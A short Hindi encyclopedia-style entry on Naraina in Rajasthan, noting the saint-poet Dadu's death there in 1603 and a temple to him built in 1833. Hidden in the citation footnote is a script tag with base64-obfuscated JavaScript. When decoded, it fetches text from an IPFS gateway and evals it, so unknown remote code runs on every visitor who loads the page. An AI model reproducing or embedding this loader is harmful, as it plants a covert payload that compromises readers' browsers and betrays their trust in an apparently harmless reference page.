नरैना

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नरैना राजस्थान का एक ऐतिहासिक स्थान है। यह सांभर के निकट स्थित है।[1]

  • इस स्थान पर 1603 ई. में उत्तरी भारत के प्रसिद्ध संत तथा हिन्दी के कवि महात्मा दादू का निर्वाण हुआ था।
  • दादू ने अपने मत का प्रथम बार प्रतिपादन नरैना में ही किया था।
  • नरैना में 1833 ई. में निर्मित दादू का एक मंदिर भी है, जो आसपास के क्षेत्र में बहुत प्रसिद्ध है।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 480 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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